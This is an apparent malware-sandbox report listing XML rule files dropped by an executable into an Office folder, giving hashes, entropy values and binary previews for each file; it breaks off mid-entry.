File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.753468436274561
Encrypted:	false
SSDEEP:	24:vHX97dMyeMrHy8AnLKWlsbaErdZ+jd2beSxBiXq8uWbD:v397dReMuPn1lsuEryjsIXFuED
MD5:	231342C979D0C43173A37C96C9E7B4B4
SHA1:	E7F9931E85B76B13292EC6FDC790D1748436974E
SHA-256:	8AD78E271DDA5BB9F9B3B538A52E27896C7289572695A3BEDC6A02D5F0CFC3B5
SHA-512:	B85A4FB844FF87F71531161FDFF0A7F2BE6FE65BF61CB93F3B5FDEF185CC7E07212AF1F41C71AC5986DF24C6D4EC9785B86D5A0D675043E0BD13F7D348547586
Malicious:	false
Preview:	<?xml......:V..~.{^..R+.gY?}.DM.GY.(.'s.N...2..+..n\|uB.#.....OF..%.R..k...#.....x.P..]...KN.._.LE.......m;_5.X'.N...7E&.{.D...Je..Y c.........M..l..)...L....8?~...s..&Z. ...........S<....u..cY0..#.A.B.m.vr...j.^}..-..d$....5U...G._mu...N.(.!u2!.<D;&.4.4(}...k..0..>.Z+.\....%...K.......2.I6A.l...R.'..r..o;.M.R..W..9.q..^.f.z.....*G_T....3...m.<..../..z.31.......N.y).o..v.o..D..Bz..:.[=..s..{$......j.t_%vf.a.^._<...[,B;\'.....rdW.bB.4e.;.wT........,~.q_.X.HX.@...%0..(l..(.....X.....G......&..p..N..2......pl...B..r..H'.k.P0....B...6....^....C.!.Q9<.Xn...\|.b.....n...x#..3..q-..:.xj.zDp_...x..3..}K&.Uc...Z..cC9.)`V,.&s.Ouz,.}.f...=.zi......L..a....?.u.w.G..4.....6....B.5...Lz....2Z.u1.....F.1....Q....).)...e.!24s....m..Ibd..1......;......--........!.!D...5........:..f.5.....`zk.L..4.2..Ro.....0.v...v!...XISv.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170053v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	7.69532346548167
Encrypted:	false
SSDEEP:	24:qIxlK0ixZmqX6uEenChOAciUW6bkOspAWEKXq8uWbD:qSlKdfm9vGYVzUJ9pKXFuED
MD5:	8DAF07BD3CAB93C8B598AC769ECF070A
SHA1:	AD40F97EF59AC705A6479A04FC0A29C94EB55A77
SHA-256:	A9050BCFAC833F20C149BBC1A164F2A2D304512D2C629978FCF86BFE172E5183
SHA-512:	55E963376C475BF19D451E353CCCABF4C5877BC1E50635F7FD32AB532E530BD4B2D2D7EE708E5DD0B59652A1FA4A137128F4350298310369535390D484876659
Malicious:	false
Preview:	<?xml...;...&/..9..8C..~8.gB...."....+.v..U@-.m.....Y.H......s..pF.l#z2.s....`yo......v......5..T......z`.p....t.>..%....v4.g.F.H.........AI.x..B...\|.2.9._A9..N......%A.+..x..]<\),....Vu..f...2..M......X....?.\|.]H..n3...2.J.?...zS...kDdA.....L...Grw......t.a.+.......D...x.!.Fgy..y...K.a(.C sbB.......c...f.a...im.xs..1.pk..t...6....i.RB...v&..i.....n.6z.....o..Q.....H&o....s...Z...... ...]..f...D\|...w8...Af`.%f..P'.....^toT.*......h...+....]...D..(F....i_?....&.....$I..,._.-.;..>..p.T.....^...H.k...Z..e."..X._..+G#......wH....B`...9.l$.'..9..z....N3XY[.4.7...;.d....!c[e.8..,..`.....Rt#S.W..-..F.G!.._.fI_..Y....,...s.X>.z.d....'.K....tR.4.jS...q....4"...D....I..3..Udoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170054v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.798509480783944
Encrypted:	false
SSDEEP:	24:Zd5B4yKaC2k09XzoCsbf2gESHTvoE33Z7ooGKeXhXq8uWbD:ZdD4BqkGXzFsbTzvoEqBJhXFuED
MD5:	3194A3C11D6A89B7032E206CE12897DA
SHA1:	2AC5BA03798F891268BC3C02B7D21DD77CED0912
SHA-256:	2D237A61FC9EF713C3FF0639DF5F5CC6FFC3B024A9698D74E20AF39E91B6720B
SHA-512:	ABEF85873DB1EE313DEF5F2EA8FCFF72A4E6025E79DDCA6EBEC746F6FE6E196D2035EF3CDF7FDAE9EE45BAAE3BA6093CD13F143573BED740005949EC4B989954
Malicious:	false
Preview:	<?xmlH(.6........b!.[.x...X...b....QL(..Ig...9.`([@....).a"..-...(~.f.Oy..,.G.....ax$.>...kJ...8B.E.;2....~...]N@>....U/.y..&......!...v.....>N..h.......#{.7i....W......a;......\|..ZD.............9.!...w.9....@R7U...{^."\.........<Y..P..9...<.Z..T~.CHn.).]1..k.zz(.....q....3...j.u....<d..p...G..hK........Q.}....\....O.......k....j2r].C+....[.._...F.....lZ$d./0......w............B.T.P....P.N.H0.Y.Z.M.(G../.....\|...).N..m;?1.......t.4G....O.......ysc0......@.@..~.6....K..w..P.?.TT......A...`.qqk.......;.`!L.s......o%.'....z.tWN..{.....u..}.kA..S....]-..7..g{m.......wv.^..oTH7r.[.1.......;.N.."..(X...........'2]..U:b..L;..<........Q...K.6e..X.\....]N..V.M/....<`. ..+t......i.4..;.....`.z'.e..e... R{..}Vf...%.....].%.=I.R....d{?C.....1L.W..UW...'.Gj(....%6..C..b.O..Ou\...R)I2...U.........3Y..(..\|.5.T2....C../.e..}N.O.q1.a.B..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170055v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.79045224787878
Encrypted:	false
SSDEEP:	24:LXB8jmA5P/PnVzVMEKooM9CbuqWRXDaMPcoY26W/Xq8uWbD:KjmA1/dhtKCgbuqWRXdP/Y264XFuED
MD5:	10B4821A1F78A445CE80CBD39C235F4F
SHA1:	A68BC43AD0DBCCC36C5545AFE022713EEBC09C36
SHA-256:	BA9F4C36B4D1072EFBBCDCBEF2533A1A05C67D83F22C780DB41B83C8972FF5A3
SHA-512:	0BDD72817293DDEB5E4BC6ACD2631B46BD62E6B1C12A3B5DF425B6EACC68652056221481445868E89FBAFB6629B7C58CBEF8FF070B2860B727F331B4D40FDE11
Malicious:	false
Preview:	<?xml..W...AH.G.b.AT..8wr..D.Vs...@.L..@........-.\#.%=.Q$..qcn...:.)...t.U9S..........rh...c...eyzA..jRM.>2....H..@.F...B.j.;V(..R.s...[.W....4.d.J..!.=r#..9....5..L...:)..AE.........T...x. e.>...P!.K.D.7......]...C.......O...b...d..w..j.&D.^9..5.xy.l.t.f9....d.z...!...)]........:..Zt..X.\|....bLu.=fr..uZ.na..uD...b ...y.4q-uWy...".)......[.A.I3.x....b.i.CFo..s.Yy.=.....[...I...z...X.....H.r..t)......q.ZN..1..p'...}......A........r0%#..t.On..'!.......cq...<.n.\|..\|N...o.7.Jj.Qs.Vt..37.....Ef....n...I...n.k>T..........+C.EP..{F..9._.....j./...FP..\|.5.=..h..^v.z^...Vn.m.F..#...^...F1PZ.HJ...Qq."d..A.y.j..G.r)JW[IiC~..0......t76..T.`....ltl..:.@.'r....%.P..=a....\|.....DY.F.[.........]...........G.P.-6.iV.S....`......).q.....A..^:px;.zo...cN ..C.....dF!#%2.(...9.a.Q-0/..Z.[.9....E..x...Ei..)T..z[.W...}4.g..MkHb...,..^....p.y........\..x.....{..<....AT.h\|2=.lL..AV;.T..I...e......^.m$y.:_Y\..`H.h..a...5..@.a......_.L...j....x.....j(?.h..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170056v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	987
Entropy (8bit):	7.774951759574851
Encrypted:	false
SSDEEP:	24:3MO7bD0x/bPCrHCHEK6NSwr0lebKNbjHkdmJ/OdCwDOCVVXq8uWbD:3x7bDSbZkKoAIbKN8dmJ/836CVVXFuED
MD5:	C121C30B00905693A9AEFA1858FC8917
SHA1:	ECF0BB487A51CB1125A8F2F8344DF006C1B50E6D
SHA-256:	024C6D45701E53B2FEB0E5B7A109FF480A9D0454274C6521AA54B0740E757435
SHA-512:	C8E81B8DED4D00FF008C37EA1B44B676F97DE6D7FBAF85A271B7BE5B6A44E6C8F7F896454E5D501501ADB5C8ABA8B852DADF5B5D79CC64CFE24ABFF10EF80F5D
Malicious:	false
Preview:	<?xml1......U....D..<....r....&v..a7asqvNC!....{....>:(.(.iIq.x.yl.(.X..OD.}#}.Lz.....8......\|..~.Y..,}...cI.-Ay.K.lI.j.Lu.....^^[zC...3..RX0.R.M.c....J.....V,....4.=..K.Og3.W.[a.2\|.7.).......&jr...V..3.p.j..l..E..p...(.............eq..-Iy.b..5..%.yj...1?.@`.j..HS.3...i.09..I.....ydyR...g%P.,........?J.e...1.0...ip.#..q.......DZ....]..st.......2..o..@....V...........[.Q.{...ys}..oyf,a.x.8XMJ.$2A........\-.6.......Y..h..\|...:.@.b...,...._..+...........S... ....P*.:1..5....\...Xf..gl.......rs[.^.$.T..=..bBm.X.<..,.f\.#..=oJ.....g.v.G...~..];sb..B.8..T.LK.]...8t..F1X..C.GfT/...N...\|{.te............q%,.07...ew.I.._...n.u}..).d..\4@....f....>./....I....9..hN.~^....cx........ro'....J..Jb..........6....Z.........56..V..@.<.ONl.<...!.no..".C........{.v..u9G.X.\...h.w..4Y.........r....C.@.L..XyO.qO..u.6.........:g\....\7.r...!..o..9I....x.}.:.5.p...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170058v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.769703496151705
Encrypted:	false
SSDEEP:	24:ttsDpQatDJA29/+44Ud1oMJZcZ5ky+uq8SYk+hYf+KXq8uWbD:fsD+a5WiokizjqAkDGKXFuED
MD5:	1E6441939A4B331C79F1BD9C0EA34114
SHA1:	93F7D926379EFC6E0CACC6911086025EC32072D5
SHA-256:	71FEC6AF6AACB2FE0151AAB037A2C4476E71D8DE34E3EC99C3AA4D2E040716E7
SHA-512:	C520386D96DAC45DFC3E1373C96594AAB32CD63DDA3094477B90AA9FAD1FC137862D66F3943C918814993FF215C440CC22DBD65A29FDA817D93C4076413E1530
Malicious:	false
Preview:	<?xmlY.. 4@#....k......`......,>........9......u^.W..{].1.+%.+...w.F....s.0_....X...;......}t...[......k.?...."._.-~.........Lu....M1....2W....+}r..~^.....\|...._j..03@..7.<.&.!D..N.....\|q.7.Bsc./j<...X2.......C..-t.......S.....SH.st..,..w.K.~.b.C"i.9aw........KS.kq..m.X~?[O-H...4..#%y{.m../q(....O0...S".@;..N.M3d.q.;\i.....j.{5...[.)..[.m.^.6/......=..>.X..........8..r.G.l#...=..#.x[...X..ef..1....ug...)...p,&.......h...V.W.........Q.x...&.....IM...~...nM.%.F.V..@R..j&...,)y.rz.<f.(._..N+..g#=...`g...tj.........e.[..OX..J.0C2x^i.. .<....8N.Vy........k.}n..Q_RC.....c(..y..ov^';L'.H......~..r..?..Hm.].]+...G..W.....mr..RGy.......{....c.#..}b..h..../..)...i.....{ZZ..0...u.Z.._.dV.hr=!.3C....b.C.G...oDu.zz..2Z,.hz\C@I8tma...O8%doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170059v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	859
Entropy (8bit):	7.747407409432216
Encrypted:	false
SSDEEP:	24:aewZvfjyqY1lR5ayYJJxzMi8fpOcC6R/edcOXq8uWbD:HwZHQTREz9zMiAkV6+cOXFuED
MD5:	8F9E78EA974E0835364D8C37483FF910
SHA1:	DED8F9396EFF694B9797C7D7B45A724B278918F2
SHA-256:	AD5721F87AADDA36E0DB1F2E218FBE14AF34D2A4F5BB49E45CE5A185D9C77748
SHA-512:	DFD12A3749FA8980AFF91774D5413702D8312E3F1808DDFBD02D01D503DE28F2FCAFD96F06D6D375D0802E8EAE833693C66331B7E7F6E2AE8683D6ADB37FC239
Malicious:	false
Preview:	<?xml..F...:.28^[...2..09L..k..@.l.+..x.)...9...Z...q..C.l..\|..F..!..o^....;.l....X.g..A...%...<0..xV+.....3....}..L..\'..F.....{...W..I.%f..X..@.V.>N..........[+Ykz.....;i..J.Xf.0....6......V5..PnX.H<..o....W.$7(...>+Y.pK...l<O...GA..T......O.....2.#8...VY.D...q.?K......VL.&D.......nd.)].@J.ZRu......O.B...).?.l...D.@..;..2J....,.,N"n..'.....j.......b.h.....K.%.z)... ....a....g'.vw.I\|2.2...D.abiL..m.D.s_!.7.j.'........y.$.A....6.PMy..&.l..M.I...OS..M.`.b.s..n.d.c.$.............M..N...\|w.8^&".S..$..f...7b......a.....l.M@.h.....eA.."l...UEU..'.A...E......A..e."%L.f.ys\|..h.W.p^r........9.8.[v?....G..X..*..1jH<....^.\...\|....;....p.y..6[/. .7.S..=..8..o.Y....jef4.R....M.y...c..X....L}..A.\|.Id.o...}.y.A.K.A1h.../.....&.Ea2/..(....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170060v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	725
Entropy (8bit):	7.670844635823436
Encrypted:	false
SSDEEP:	12:GJeXHfRg7yWfEV9XrrGT/E/QJRdwJ47U2riUv/cef0pZf4gWnS2vaeAXqOTuWciD:GJeeBsn3n4JRm4UKcDP47NCeAXq8uWbD
MD5:	A073719644B81906377D047A9F4C8A95
SHA1:	165F90001E2F56B11B9E0117C252DCF242568683
SHA-256:	B90B5983744EFE13B25AAC39FF79A061700908192B926608187141512B15DA80
SHA-512:	3FAED9E2D33AE0225D9669453924499F4E227EA6CD16DFC16A08A84301A9891EF5EDBD00BB3D55F62345BB6CDCAD121B94B47237905CF046F91D357299EEF7DD
Malicious:	false
Preview:	<?xmln...~.....p;.<........a3..ETKE.N$.?.9.k..Q.Ji.....)..^_w.....6pry....j.a.C.X.......pQ. .......{&2!...n.j_c..U]L..<..Dy$...Dq.}."s.s...h.i...s...m....Z5@.`..y..#.~....A.L}.U-.!.9..8'].D.d.).;'..a-.wmL...p.ah..0..2.[.../'.d.....)..]l.`D..!Hb<.........5..=...}.x..{...N@......uV..D..b...5.vg..+..7......}I.HW....t..Z....&...+.&+M..%.A...}^'.)!...`u..r&.ll.....O.w...w.5.6S]..]l..../.q\.p.....2....nl<.N.)@tE@"}....!.#.wq....\|.z.n<8..K.....Atp......).}..&2.....[.\4A......,..;:g.J....B.../o.X.4.7.Z...%t&.f...,.8....R."$.^^3..'".=.n.w>.^.T..5>s......rD.$.2.a{y<.."C?.FBSR?.8...FKC_.:...W.l....>.^..... T{[(.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170061v5.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1175
Entropy (8bit):	7.849491293637552
Encrypted:	false
SSDEEP:	24:2TYH2vJJQEoeKz+Y7sa2UOh72+kCTYCpHKIc9NwXq8uWbD:2TYWvJJQE0+ssa2UUS+k47pqx4XFuED
MD5:	3784C454CC9B1ED8DF351BA9B73F871E
SHA1:	770E4252FF1FCD23AFC74082D6CCE8899D46E5BC
SHA-256:	474864A9F3604E8C2E77A5B13E47F936932384BA136F947B009F9A796609986A
SHA-512:	83AA2F7393707AF9884A627D65E82C391C178C7E88A096E3A88FB89DAD97E93F1BE37776AF3E182939D5DFB770935FB9E89579393638565866215AA740F47B1E
Malicious:	false
Preview:	<?xml....'....~...0.r&.A.....VfM.............?..e....Y.&.......(.......<v....#R.y.OCQ..4.x.VVI.\|(.M.B..[a.jx..5.9..Y./....j^...._...@..k.t&#8>..>7.&..Y4.....Ay...c%...L....i.'..BhlX8.......\!...P..r.5d.#e...>A7.hSR.$C........o>...i.\|....p3.=P.,........'L..I..]U^...{.#.7!.D.I..%^.p.hf.. .b.6......[.M.Y_ ........_?....:.Zt..B.\|..p!...).[.....^.GX.%L..+..[...t..T..a...6r.K.>.F.y5..H._2Q......M.......QY...X.%C...r.E..U....i..AP..kP..i...'.......%n.)\|..WF...Q..QQ.]..(.ok...=.O.l.6...}....u....&.\|c..$.I.=.&=d.l,V(.~_.P..&...R..u..zP..U...@wC.e..IX.....JM?...KCq..`2....7.>....w.$f..:.[:.[.H.$v....C......^Ne.B.2.b..}.)..8cH..D.......WT.?.....Z.O....!.......Yp=4.M..n.....J.y.G..k......RN/.w.....v...\=.fs...P.' F..66K....W...k..h.s@......d..}.GZ(o...0..?....$!..9~`R=.@.,.E.....X..<S..>...j....RT.G.5Z.g%....E......JU..R...)..}..ne.U,..::..N$....0.}..@.._2..!...u...Gf.....;"......l.N.......j..t...N.Q.\.J.WZ..$$....E.....m1..*.h...@z...6..z..C.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170065v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	724
Entropy (8bit):	7.67939363896998
Encrypted:	false
SSDEEP:	12:odoSl4a6jAmMQQvyPzcVma1h9oXE6X61gyXFtKuNrvBwegKMBOdXqOTuWcii9a:oOSGImNQ8zS1Ds61vnKsuFKAOdXq8uWX
MD5:	AA3397DCA4149F17957E1B272FC61FA6
SHA1:	323163BFB50043B38AB452AE7E9075EEA172157F
SHA-256:	1D55901CD6EFEC8E38B48B1232FFF1241A04AA36180524272611D6F1A6CD40FA
SHA-512:	39445E5EF3C2DE92AB9959719B971103A3E33D2F0FE357D1C25F3F62E56B864672CE71DB6CEF578780249AFE52F59AC88A7C66B4B0D2DCAF848BCC5359CD84E2
Malicious:	false
Preview:	<?xml...L.cf.s&.iGn...).z3..%C...d.E..d...p$.+..p...5.6.....[#..?k.N...V......gU.F....3....."1C.....e..0.....<.G...P.............v.#W...]+...Y..q......sH~.).[.P.....J?m4@..".5..4).....x..........h....j%.t...!...;.10..4%.....zl.Q...@sj...SK!.Z$Y.y.....{d...Bg\.SS..:\9.DF.\|.l.\|<'.4/..C.,=.s.. ...{<.#..gWD....xAE[.mt.EBJm.....VOz\|..$.=..A_..o{....o...s..V]..N.}....K5)K..t...+$sC....k.W?.u6..;... .&..,.u2.X."h.....L.tR.v..[35...x+.....\...E..C..!B...JWr..1Fll.O..6..X^N..$.G....R.....r.8...CC9....PS.46....\sU..m....*........K.7......Q...B....9.~o...7..]........C..Kv.+....jV..{.ndF....[.I.cI....B{..Q..T......[doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170068v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	746
Entropy (8bit):	7.693910606061171
Encrypted:	false
SSDEEP:	12:jHMX500KRQtgcrDglxt56tuBLIfby7ZoXev4fJgwRQeUxfqgfjPI1uXqOTuWciik:c50hV7jt5bB8fWcevnfxfqgLRXq8uWbD
MD5:	DE67EBD88FED47BF43FC77D477513F22
SHA1:	C5642F4C80DC4AD2634C6A4F2167F23614F84E8A
SHA-256:	2156BE947C24FF7353DFF8E52D59D3912484F6CF2BBCC7A01A7E906119AB51E3
SHA-512:	21F84453F47498FAB7FB65280CA54A50D2D8A5F28FCD606C34CC25E8623C4BD3BAD5935B612D124AEC3C8DF2C81A7E8C0FB53549BCCF8E7EDCAEB54171DF8684
Malicious:	false
Preview:	<?xml{m...=.;..x.".`..wH...;B..b..0.e..++l{.(..y.Fk.L.u5.tr...\...W.......-.(4....M.sP[%......Z.p.d\......g5.....p.+O..=.kq..8..b...#4.......9w..p-sgdn~P.........ti.X[-k.,..B.O...V.h.A..!.%T.tIj\.q...W.t>.A.k2...).Y;w.F.%'k..2 ...&..}]..q{v%.X.!K...])......s..C%.#..I..5....F9.....7Gs........L0)......e-.......V...c.P.a..6...Wi.^.A.@.?.7z`.PF}..f..n..U..,..m......:...5..0...J.}..9..;..j8.`eb%......8I&...R....;;.=...z-i.\....`..<........P.p2x...9q.../.+F,o..@&...k...Db;.....P..mR..%....N#..O..U.[;b.F.l..`.{........Q.\..Z..ep...w..'L5.N.._..S.\...9...d...S.k..P@w.]..q76._q.HTH...Fp..e\|5...jU3...i.p ......z7S....E.}..OOS.....I.B.+4..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170069v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.7491056358288795
Encrypted:	false
SSDEEP:	24:aOGVgCXvw5IAN5XZ6xAy077VMd40fCxQlXq8uWbD:aNVPXvwWAHJ65SB0NXFuED
MD5:	60A5D651AB5A678DEA3A307174903F31
SHA1:	7473539742C4C0F8C1164685798F27884DA7E393
SHA-256:	AB56F48E084C2BD26E706744376F74A5E30A13BC7809ED62B057FF4A22D9196C
SHA-512:	D246FEE5D86D8E29DF005BAECC367DC4EF124760088102ADF7DD81601250FC9438505DAD8CE09AC103A3956B05384594E8B19A266DAC5793CA9A8A272F044A82
Malicious:	false
Preview:	<?xml......g..J`:.u}.`Q8.B.K.C........Y.FmE.y..=.:`P`..J.1\|!f....A.5L.".wF...a.[z.....Ed.m..X...&(....c.u3..(.Z.\...d...F..})S...{.m>U.so5.w.&..<......j.jJ..)...4......SdC...E&%W.....v..]T/.....j....."....h.......X...X..E.......Sn.@QK51.K$...&.4. NT...F.-..k....0C.....R....PHm.h..e#.....P"....T.........~..T...-...L....'........5.......j....5....b.......`...`...xH@o.V......n.....<...c~..RBR.wK.4.i. ...4.l...FAD..W.c....E\.hd...J.O.w.\|w. ..t......B.....7...`....4..nO.2K....(.,.A.~V.5..8..JbQI.c&..}F..xU.M>{.fF.G..Y..v1...a5.#..-.pa~...yb....a...zmu.........].y.G...@..G...1.ke..2...Q...g...l.#Zq..aJ.=..JV.LS.......l.}.H.........y.8[aY...YP...f..h.x..ApWZy...zi$..H8C....'......&T..v..K...Jn...S.&......L.*=-..=....J..?.`.@..[..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170070v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.7626811003436735
Encrypted:	false
SSDEEP:	24:y2B2/+WPEeeM1OXHBeEcKpmE+CWXq8uWbD:lYWnee3H/cWmYWXFuED
MD5:	97A1E0053806C8F3F64508BF33D2A652
SHA1:	556400ED35A57A9ACFD968D82F160834716CA44C
SHA-256:	3AB2A900E923D8B4B41087135B443737BC10CE747C29CA1B04323A6A85EA85FC
SHA-512:	C8605D86A78322AE6B5B1B3F131D459DCDC4FFAC3209FA0F384FA2EED7622DB00CFB9388B551576C97E65DCB073A6F5C22536AFA57BC9873FCADC948E6D2E397
Malicious:	false
Preview:	<?xml..0m.h.....'..\....yxyi'.....06.......O.G.L......@..{O.#.....U..........k..@.;,S.8.$kZk..59."...]..n.Q..C.#....'H..V...1.&p......(s.......AP..}.....7S@8.C.goC...H.s.o...`+..n....Q.?..!......q,.c@.....m......X.1fI.&..!.6.1....EH#o9...M...N:I...t.Pg{.... C...I._ vxNxuj..kd....sXwt.x..... qt..R...'\1I..H..\{...( .....e.]..R...oNKf3..2...q.5.2....\........o3..$.R....p..8.R.i.m..0..e....O6J....j^....1.<...a.....I\|.a.. ..${..y..w.&.7.V.].].5v..z..\z8...Q.5.".9.u...Ul..8....aP.X.e0._.T.1..k.j?J.%"........../Fh.@.^.#e.q...s.2 ~....lM}I.......Gj.?...';.q.~.F.De...N#U.d.s.d.EE.`Y..+....y....F.m.g.%......:~..S.........<..o/...........Z..l..h=.......3.JX..4.=...%.h..p..6.3.$..^.....yww.......sAl.;.o.dT..c...6.+R.......u...%.5._.:.(..N.....H....X..1...~..<.X\|.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170071v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.791760617231884
Encrypted:	false
SSDEEP:	24:a4aK1k4M27JPL3JNR3Z/1JAWPaCtP4t5rS0L8/dFouXq8uWbD:a4aCjMYVpZdxPaCB4nnL8/dSuXFuED
MD5:	E6AC735E38E4B2853D4A5065FD77990C
SHA1:	190B902B7966CB345E8EBC79275ABA032B0B5E2F
SHA-256:	F6A6844FC45D93F109C488068AA0DD1E0CF170C78CD20E51E0ABBC84DC242DCB
SHA-512:	6330403B8DE50A9CB7F9A0750E93999D4CD869B74C5D3BD1A4130E5AA97FDA72077EF1BBE28BDC3D784A3DE070BA6295E522C56A8F6B8BC01BCF717AFB988109
Malicious:	false
Preview:	<?xml\|.>.K.m..f...n.B....<.9..a.)..v?.x.MA..w..(@%..R(y,.J....7.../.;....3...;..O.6.m3...O..za'..R...o.8....?BJ.k...+a.S&..n.e....+!..X.3.S.]....d...,..:3...sP....z.G@.....dw.....@B....U...4..5He..w....A..p..hP.K@2..a..&.E.........P.e...?..e........u.....(z...c-...g....;N.....}=..ka..0...T.F.....C...._.].....)....fH.y}r....lPq....a....-#..}..R#6....FU.. .l.....o%.....RA\.Vr..\|....t.8.i.1....l....K..4.=..H_M....3........:,.C....]..T.)n...(.]\......4....U..[\|..NlU..QH.e.<P.....$.`.h .S.m..s-.2..9v@.+..2..Y....mB.mJc.>....q.n....3,.........O....ej..S..O...O.....ZebR.)$.z...%. ..{7.Sb..#.Xp..O...5.1....pk.!..H.9.!K.qs....#..#..m.Q6Sv:.wc)er...k.JQ..>.....L...7..r...l.6R.}I..b.X..go..l.w.>l7.........Y.....-.......3.O1....<=@..u....4".:xK.....J.C..-.x..;...g.Y.V........X....j-......b....1.k...........AQ`....T.zJ..n.....Pc..7.X.O....K......0U..R .ex..g%.....Z.....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170072v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.699558035189521
Encrypted:	false
SSDEEP:	12:xwSMKFhpTkE96QXPKWhCzfGi5Djv6liqnJisaIa5dOvh9Z1zq4rXqOTuWcii9a:xjMKxfDmJT6liuJizd5yA4rXq8uWbD
MD5:	CEAC9D51774D5AB7A312662B9D92352C
SHA1:	1994691AE49DF95A49D63918F4C19EB002C2B3B4
SHA-256:	EEEF2327DDE40BCE82A390F5B37918AF2A39E7E758E7CFB9635FCCFF99E379A4
SHA-512:	6C34F7C299678E3A9EA698E9485E03C951ECB5EBEEF224DEE04DD03A929E83830887EF0C9A038BD4ED4DFD95CCC59EADA310EFF0E238C304A70AD72C698FB67B
Malicious:	false
Preview:	<?xml..Z..>Y{.3?.2....M.u.\|4Y...g...[m....s.o...zq.T........F{...AQlb"T.2..D...a...}(u..m.e.Y.3........=..^V/...[X..R.c(.P(..T:?5b1..~k.Z.Z.....{7...b..F./.h-2+..r....v../......c......iwD.sS:~3.')SOL...>..Q=.h.3.d..\.R.ob...b.=......#0..2.....r.^....1 N...]D...Ck...#w...w`AV..'.....j..[..0.%.H%.I......i~C.(.z2.o....N..a.fg..D.......x.y...Q...f..I. .b..]......6...gc..#..t.L....6..J....K.~....@?U+..Z:...{9../.....3@..'...7.;yg.'....^.@.^...X...\g.l......d1..I.>....MH.........iH....<1...00..$\|"u.PT..s.}.r.._..[........OEg..\|.%.`.Y..UL.8>.m!..4.qR.C.7&M).7ZD....T..k...l.D..jB..K...I...6....a..5i...].g*..y._.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170073v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	931
Entropy (8bit):	7.7546739036921775
Encrypted:	false
